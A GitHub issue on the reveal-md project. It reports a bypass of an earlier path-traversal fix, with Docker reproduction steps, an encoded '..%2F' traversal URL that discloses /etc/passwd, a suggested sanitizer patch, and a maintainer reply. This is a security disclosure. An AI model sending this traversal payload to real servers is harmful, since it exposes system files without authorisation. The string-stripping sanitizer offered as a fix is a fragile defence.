reveal-md icon indicating copy to clipboard operation
reveal-md copied to clipboard

Patch for issue#409 is not sufficient and the protection can be bypassed by an attacker

Open W0rty opened this issue 3 years ago • 1 comments

Step to reproduce :

  • git clone https://github.com/webpro/reveal-md
  • cd reveal-md && sudo docker build -t revealmd .
  • sudo docker run --rm -p 1948:1948 -p 35729:35729 -v $PWD/demo/:/slides webpronl/reveal-md:latest /slides --watch

Then open your browser and reach the following URL : http://localhost:1948/a.md/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc.md%2F..%2Fetc%2Fpasswd#/

The content of the file /etc/passwd is disclosed.

I have a patch for it on the file lib/render.js :

function sanitize(entry)
{
  if(entry.includes(".."))
  {
    entry = sanitize(entry.replace("..",""))
  }
  return entry
}

module.exports = async (req, res) => {
  const dir = await getInitialDir();
  console.log(sanitize(decodeURIComponent(req.url)))
  const filePath = path.join(dir, sanitize(decodeURIComponent(req.url)).replace(/\?.*/, ''));
  const markup = await renderFile(filePath);
  res.send(markup);
};

W0rty avatar Jul 13 '22 09:07 W0rty

Thanks @W0rty, please open a PR if you have a patch

webpro avatar Jul 13 '22 09:07 webpro